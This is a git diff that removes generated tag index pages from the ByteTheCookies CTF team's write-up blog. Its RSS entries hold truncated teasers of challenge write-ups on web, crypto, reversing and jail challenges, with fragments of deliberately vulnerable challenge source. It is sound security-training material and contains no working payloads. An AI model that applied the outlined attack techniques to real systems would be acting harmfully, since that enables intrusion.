  • - Snake - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/0xm4hm0ud/index.xml b/public/tags/0xm4hm0ud/index.xml deleted file mode 100644 index 75850a3e..00000000 --- a/public/tags/0xm4hm0ud/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - 0xM4hm0ud on ByteTheCookies - http://localhost:1313/tags/0xm4hm0ud/ - Recent content in 0xM4hm0ud on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:36 +0200 - - Snake - http://localhost:1313/writeups/cyberspace2024/snake/ - Mon, 02 Sep 2024 10:59:36 +0200 - - http://localhost:1313/writeups/cyberspace2024/snake/ - Snake Description: Can you slither to the win? -Link to the binary: Elf file -Introduction We are faced with a binary file written in Rust (you can see it by simply running strings snake | grep rustc) where we are made to play Snake, the goal is to get PRECISELY to 16525 points. -Solution The solutions were actually different, some people used tools to analyze the memory of a process in real time, I preferred a &lsquo;slower&rsquo; approach, or rather the first thing that came to mind, so I opened binary ninja despite the file being stripped and looked for a value for constant exactly 0xa (i. - - - - \ No newline at end of file diff --git a/public/tags/0xm4hm0ud/page/1/index.html b/public/tags/0xm4hm0ud/page/1/index.html deleted file mode 100644 index 3016bb6e..00000000 --- a/public/tags/0xm4hm0ud/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/0xm4hm0ud/ - - - - - - diff --git a/public/tags/10-solves/index.html b/public/tags/10-solves/index.html deleted file mode 100644 index 6911c5b5..00000000 --- a/public/tags/10-solves/index.html +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - 10 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

10 Solves

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/10-solves/index.xml b/public/tags/10-solves/index.xml deleted file mode 100644 index ad4812b7..00000000 --- a/public/tags/10-solves/index.xml +++ /dev/null @@ -1,39 +0,0 @@ - - - - 10 Solves on ByteTheCookies - http://localhost:1313/tags/10-solves/ - Recent content in 10 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 25 Aug 2025 19:13:04 +0200 - - Solidity Jail 1 - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Mon, 25 Aug 2025 19:13:04 +0200 - - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Solidity Jail 1 Description: Bash Jail? Boring. PyJail? Too Common. -Introducing for the first time, Solidity Jail! Make a contract to read the flag! -Introduction Jail challenges are always a thrill. You’re thrown into a restricted environment with a single mission: escape and claim the flag. While bash, Python, and even NodeJS jails are familiar territory, running into one in Solidity is a rare treat. -In this challenge, we interacted with a remote server that executed Solidity function code we submitted. - - - - StackBank 1 - http://localhost:1313/writeups/ulisse2025/stackbank1/ - Tue, 08 Apr 2025 18:05:15 +0200 - - http://localhost:1313/writeups/ulisse2025/stackbank1/ - ⚠️ WORKING IN PROGRESS -StackBank 1 Description: This bank🏦 will let you legally launder your dirty money, so you can live the high life in Dubai 🤑. -Give it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸. -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py Author: akiidjk - - - - \ No newline at end of file diff --git a/public/tags/10-solves/page/1/index.html b/public/tags/10-solves/page/1/index.html deleted file mode 100644 index 84e4e020..00000000 --- a/public/tags/10-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/10-solves/ - - - - - - diff --git a/public/tags/100-points/index.html b/public/tags/100-points/index.html deleted file mode 100644 index 63f84ab3..00000000 --- a/public/tags/100-points/index.html +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - 100 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

100 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/100-points/index.xml b/public/tags/100-points/index.xml deleted file mode 100644 index 5b89f797..00000000 --- a/public/tags/100-points/index.xml +++ /dev/null @@ -1,34 +0,0 @@ - - - - 100 Points on ByteTheCookies - http://localhost:1313/tags/100-points/ - Recent content in 100 Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:29 +0200 - - Miku vs. Machine - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Mon, 26 Aug 2024 17:04:29 +0200 - - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Miku vs. Machine Description: Time limit is 2 seconds for this challenge. -Official resources of challenge -Introduction The goal is to distribute the hours of n singers in m shows. Each show has a number of hours equal to l (unknown) and can only change singers once. We also want that each singer will have the same time on stage. -Solution To solve this problem, I use a greedy strategy that iteratively divides the available singing time among the singers, ensuring that each singer fulfills their required hours. - - - - Some Trick - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Some Trick Description: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen. -Introduction Some Trick was the first cryptography challenge in the 2024 edition of SekaiCTF. The challenge implements a key exchange based on a set of permutations and asks us to retrieve the flag that was used as a key in Bob&rsquo;s first encryption. -import random from secrets import randbelow, randbits from flag import FLAG CIPHER_SUITE = randbelow(2**256) print(f&quot;oPUN_SASS_SASS_l version 4. - - - - \ No newline at end of file diff --git a/public/tags/100-points/page/1/index.html b/public/tags/100-points/page/1/index.html deleted file mode 100644 index 03a3e2c5..00000000 --- a/public/tags/100-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/100-points/ - - - - - - diff --git a/public/tags/100/index.html b/public/tags/100/index.html deleted file mode 100644 index 84603bb5..00000000 --- a/public/tags/100/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 100 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

100

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/100/index.xml b/public/tags/100/index.xml deleted file mode 100644 index 2773944d..00000000 --- a/public/tags/100/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - 100 on ByteTheCookies - http://localhost:1313/tags/100/ - Recent content in 100 on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:19 +0200 - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? -Introduction First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does. - - - - \ No newline at end of file diff --git a/public/tags/100/page/1/index.html b/public/tags/100/page/1/index.html deleted file mode 100644 index 5ba5ec26..00000000 --- a/public/tags/100/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/100/ - - - - - - diff --git a/public/tags/104-solves/index.html b/public/tags/104-solves/index.html deleted file mode 100644 index 97bacc2b..00000000 --- a/public/tags/104-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 104 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

104 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/104-solves/index.xml b/public/tags/104-solves/index.xml deleted file mode 100644 index 81044e99..00000000 --- a/public/tags/104-solves/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - 104 Solves on ByteTheCookies - http://localhost:1313/tags/104-solves/ - Recent content in 104 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 07 Oct 2024 22:24:02 +0200 - - b64SiteViewer - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - Mon, 07 Oct 2024 22:24:02 +0200 - - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - b64SiteViewer Description: This is one of the challenges added later, but despite that it wasn&rsquo;t very complex, in fact the most complex part wasn&rsquo;t even the web part, but despite that the challenge was still really nice -Introduction We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands - - - - \ No newline at end of file diff --git a/public/tags/104-solves/page/1/index.html b/public/tags/104-solves/page/1/index.html deleted file mode 100644 index f506afea..00000000 --- a/public/tags/104-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/104-solves/ - - - - - - diff --git a/public/tags/119-solves/index.html b/public/tags/119-solves/index.html deleted file mode 100644 index a27b99c9..00000000 --- a/public/tags/119-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 119 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

119 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/119-solves/index.xml b/public/tags/119-solves/index.xml deleted file mode 100644 index 68e55835..00000000 --- a/public/tags/119-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 119 Solves on ByteTheCookies - http://localhost:1313/tags/119-solves/ - Recent content in 119 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 06 Aug 2024 11:27:07 +0200 - - File Sharing Portal - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - File Sharing Portal Description: Welcome to the file sharing portal! We only support tar files! -Introduction The ctf has a very simple structure: we have a form in which we are asked to insert a tar file; once the tar file has been inserted, it is unzipped and we are shown the name of files it contains; by clicking on the different files, we can read their contents. -Source The source has comments added later to allow a better understanding of the code in the writeups - - - - \ No newline at end of file diff --git a/public/tags/119-solves/page/1/index.html b/public/tags/119-solves/page/1/index.html deleted file mode 100644 index 0fc6bacd..00000000 --- a/public/tags/119-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/119-solves/ - - - - - - diff --git a/public/tags/122-solves/index.html b/public/tags/122-solves/index.html deleted file mode 100644 index 62097859..00000000 --- a/public/tags/122-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 122 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

122 Solves

- - - -
- - -
-

2024

- -
    - -
  • - Snake - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/122-solves/index.xml b/public/tags/122-solves/index.xml deleted file mode 100644 index f859aed5..00000000 --- a/public/tags/122-solves/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - 122 Solves on ByteTheCookies - http://localhost:1313/tags/122-solves/ - Recent content in 122 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:36 +0200 - - Snake - http://localhost:1313/writeups/cyberspace2024/snake/ - Mon, 02 Sep 2024 10:59:36 +0200 - - http://localhost:1313/writeups/cyberspace2024/snake/ - Snake Description: Can you slither to the win? -Link to the binary: Elf file -Introduction We are faced with a binary file written in Rust (you can see it by simply running strings snake | grep rustc) where we are made to play Snake, the goal is to get PRECISELY to 16525 points. -Solution The solutions were actually different, some people used tools to analyze the memory of a process in real time, I preferred a &lsquo;slower&rsquo; approach, or rather the first thing that came to mind, so I opened binary ninja despite the file being stripped and looked for a value for constant exactly 0xa (i. - - - - \ No newline at end of file diff --git a/public/tags/122-solves/page/1/index.html b/public/tags/122-solves/page/1/index.html deleted file mode 100644 index 00bf3caf..00000000 --- a/public/tags/122-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/122-solves/ - - - - - - diff --git a/public/tags/125-points/index.html b/public/tags/125-points/index.html deleted file mode 100644 index 366bdb8b..00000000 --- a/public/tags/125-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 125 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

125 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/125-points/index.xml b/public/tags/125-points/index.xml deleted file mode 100644 index 5411046b..00000000 --- a/public/tags/125-points/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 125 Points on ByteTheCookies - http://localhost:1313/tags/125-points/ - Recent content in 125 Points on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 13 Aug 2024 13:01:07 +0200 - - Kirbytime - http://localhost:1313/writeups/litctf2024/kirbytime/ - Tue, 13 Aug 2024 13:01:07 +0200 - - http://localhost:1313/writeups/litctf2024/kirbytime/ - Kirbytime Description: Welcome to Kirby&rsquo;s Website. -Introduction We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters. -Source # filename: main.py import sqlite3 from flask import Flask, request, redirect, render_template import time app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def login(): message = None if request.method == 'POST': password = request.form['password'] real = 'REDACTED' if len(password) != 7: return render_template('login. - - - - \ No newline at end of file diff --git a/public/tags/125-points/page/1/index.html b/public/tags/125-points/page/1/index.html deleted file mode 100644 index 2fa6dd44..00000000 --- a/public/tags/125-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/125-points/ - - - - - - diff --git a/public/tags/127-points/index.html b/public/tags/127-points/index.html deleted file mode 100644 index 0244ba96..00000000 --- a/public/tags/127-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 127 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

127 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/127-points/index.xml b/public/tags/127-points/index.xml deleted file mode 100644 index eba9bc9b..00000000 --- a/public/tags/127-points/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - 127 Points on ByteTheCookies - http://localhost:1313/tags/127-points/ - Recent content in 127 Points on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 15 Sep 2024 10:58:00 +0200 - - Yet Another OT - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - Sun, 15 Sep 2024 10:58:00 +0200 - - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - Yet Another OT Description: Why do people always want to decrypt both messages? -Disclaimer I wasn&rsquo;t able to solve this challenge during the competition, but managed to get to the solution after talking on discord to other competitors who very kindly helped me figure it out. -Introduction Yet Another OT was a crypto CTF from m0leCon 2025 hosted by pwnthem0le. -import random from hashlib import sha256 import json import os from Crypto. - - - - \ No newline at end of file diff --git a/public/tags/127-points/page/1/index.html b/public/tags/127-points/page/1/index.html deleted file mode 100644 index 8f8b8f67..00000000 --- a/public/tags/127-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/127-points/ - - - - - - diff --git a/public/tags/127-solves/index.html b/public/tags/127-solves/index.html deleted file mode 100644 index 60aa5592..00000000 --- a/public/tags/127-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 127 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

127 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/127-solves/index.xml b/public/tags/127-solves/index.xml deleted file mode 100644 index c34cd925..00000000 --- a/public/tags/127-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 127 Solves on ByteTheCookies - http://localhost:1313/tags/127-solves/ - Recent content in 127 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:19 +0200 - - Some Trick - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Some Trick Description: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen. -Introduction Some Trick was the first cryptography challenge in the 2024 edition of SekaiCTF. The challenge implements a key exchange based on a set of permutations and asks us to retrieve the flag that was used as a key in Bob&rsquo;s first encryption. -import random from secrets import randbelow, randbits from flag import FLAG CIPHER_SUITE = randbelow(2**256) print(f&quot;oPUN_SASS_SASS_l version 4. - - - - \ No newline at end of file diff --git a/public/tags/127-solves/page/1/index.html b/public/tags/127-solves/page/1/index.html deleted file mode 100644 index 2782cd7d..00000000 --- a/public/tags/127-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/127-solves/ - - - - - - diff --git a/public/tags/129-solves/index.html b/public/tags/129-solves/index.html deleted file mode 100644 index 9ee42193..00000000 --- a/public/tags/129-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 129 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

129 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/129-solves/index.xml b/public/tags/129-solves/index.xml deleted file mode 100644 index 0ff16a62..00000000 --- a/public/tags/129-solves/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - 129 Solves on ByteTheCookies - http://localhost:1313/tags/129-solves/ - Recent content in 129 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 06 Oct 2024 14:41:13 +0200 - - Loan App - http://localhost:1313/writeups/ironctf2024/loan_app/ - Sun, 06 Oct 2024 14:41:13 +0200 - - http://localhost:1313/writeups/ironctf2024/loan_app/ - Loan app Description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution) -Introduction This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do &lsquo;request smuggling&rsquo;, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend. - - - - \ No newline at end of file diff --git a/public/tags/129-solves/page/1/index.html b/public/tags/129-solves/page/1/index.html deleted file mode 100644 index 7c42e2b2..00000000 --- a/public/tags/129-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/129-solves/ - - - - - - diff --git a/public/tags/13-solves/index.html b/public/tags/13-solves/index.html deleted file mode 100644 index 3d53318e..00000000 --- a/public/tags/13-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 13 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

13 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/13-solves/index.xml b/public/tags/13-solves/index.xml deleted file mode 100644 index 44364cc8..00000000 --- a/public/tags/13-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 13 Solves on ByteTheCookies - http://localhost:1313/tags/13-solves/ - Recent content in 13 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:48:55 +0100 - - ImgPlace - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - Mon, 23 Dec 2024 16:48:55 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - ImgPlace Description: Are you a photographer but have no reputation? Join ImgPlace! Share your photos&hellip; and become popular! -Introduction We have a very simple application where we are allowed to register and log in and then we can upload images via url and associated description -Source The source is only parsable by devtools from the browser, and we can see that in the pic.js file we have a function that sanitizes the image description - - - - \ No newline at end of file diff --git a/public/tags/13-solves/page/1/index.html b/public/tags/13-solves/page/1/index.html deleted file mode 100644 index 0081e8c6..00000000 --- a/public/tags/13-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/13-solves/ - - - - - - diff --git a/public/tags/133-points/index.html b/public/tags/133-points/index.html deleted file mode 100644 index 2cc09dac..00000000 --- a/public/tags/133-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 133 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

133 Points

- - - -
- - -
-

2024

- -
    - -
  • - Hello - - - 08/18 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/133-points/index.xml b/public/tags/133-points/index.xml deleted file mode 100644 index 1aa1226e..00000000 --- a/public/tags/133-points/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - 133 Points on ByteTheCookies - http://localhost:1313/tags/133-points/ - Recent content in 133 Points on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 18 Aug 2024 12:58:59 +0200 - - Hello - http://localhost:1313/writeups/idekctf2024/hello/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/writeups/idekctf2024/hello/ - Hello Description: Just to warm you up for the next Fight :&ldquo;D -Introduction Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered} -The with an ngix server -Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies -Source # filename: index.py &lt;? - - - - \ No newline at end of file diff --git a/public/tags/133-points/page/1/index.html b/public/tags/133-points/page/1/index.html deleted file mode 100644 index 920cbb7c..00000000 --- a/public/tags/133-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/133-points/ - - - - - - diff --git a/public/tags/14-solves/index.html b/public/tags/14-solves/index.html deleted file mode 100644 index c9869c88..00000000 --- a/public/tags/14-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 14 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

14 Solves

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/14-solves/index.xml b/public/tags/14-solves/index.xml deleted file mode 100644 index fc683be5..00000000 --- a/public/tags/14-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 14 Solves on ByteTheCookies - http://localhost:1313/tags/14-solves/ - Recent content in 14 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Apr 2025 18:05:04 +0200 - - Telemetry - http://localhost:1313/writeups/ulisse2025/telemetry/ - Tue, 08 Apr 2025 18:05:04 +0200 - - http://localhost:1313/writeups/ulisse2025/telemetry/ - Telemetry Description: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won&rsquo;t find the hidden flag&hellip; Will you prove him wrong? 🏠🔍 -Introduction Fourth round of the Cybercup 2025 ulisseCTF I want to show the writeup of the first web, a really interesting challenge. -Source The application is a simple Flask app with 0 css (we almost like it). - - - - \ No newline at end of file diff --git a/public/tags/14-solves/page/1/index.html b/public/tags/14-solves/page/1/index.html deleted file mode 100644 index b63d2a47..00000000 --- a/public/tags/14-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/14-solves/ - - - - - - diff --git a/public/tags/140-points/index.html b/public/tags/140-points/index.html deleted file mode 100644 index 8cfd9678..00000000 --- a/public/tags/140-points/index.html +++ /dev/null @@ -1,246 +0,0 @@ - - - - - - - - 140 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

140 Points

- - - -
- - -
-

2024

- -
    - -
  • - Hello - - - 08/18 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team
-
- - - diff --git a/public/tags/140-points/index.xml b/public/tags/140-points/index.xml deleted file mode 100644 index 2a7d25f7..00000000 --- a/public/tags/140-points/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - 140 Points on ByteTheCookies - http://localhost:1313/tags/140-points/ - Recent content in 140 Points on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 18 Aug 2024 12:58:59 +0200 - - Hello - http://localhost:1313/writeups/idekctf2024/hello/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/writeups/idekctf2024/hello/ - Hello Description: Just to warm you up for the next Fight :&ldquo;D -Introduction Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered} -The with an ngix server -Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies -Source # filename: index.py &lt;? - - - - \ No newline at end of file diff --git a/public/tags/140-points/page/1/index.html b/public/tags/140-points/page/1/index.html deleted file mode 100644 index e7e23c41..00000000 --- a/public/tags/140-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/140-points/ - - - - - - diff --git a/public/tags/141-solves/index.html b/public/tags/141-solves/index.html deleted file mode 100644 index d39fd08f..00000000 --- a/public/tags/141-solves/index.html +++ /dev/null @@ -1,246 +0,0 @@ - - - - - - - - 141 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

141 Solves

- - - -
- - -
-

2024

- -
    - -
  • - Hello - - - 08/18 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team
-
- - - diff --git a/public/tags/141-solves/index.xml b/public/tags/141-solves/index.xml deleted file mode 100644 index 064dc98e..00000000 --- a/public/tags/141-solves/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - 141 Solves on ByteTheCookies - http://localhost:1313/tags/141-solves/ - Recent content in 141 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 18 Aug 2024 12:58:59 +0200 - - Hello - http://localhost:1313/writeups/idekctf2024/hello/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/writeups/idekctf2024/hello/ - Hello Description: Just to warm you up for the next Fight :&ldquo;D -Introduction Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered} -The with an ngix server -Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies -Source # filename: index.py &lt;? - - - - \ No newline at end of file diff --git a/public/tags/141-solves/page/1/index.html b/public/tags/141-solves/page/1/index.html deleted file mode 100644 index c170a7e5..00000000 --- a/public/tags/141-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/141-solves/ - 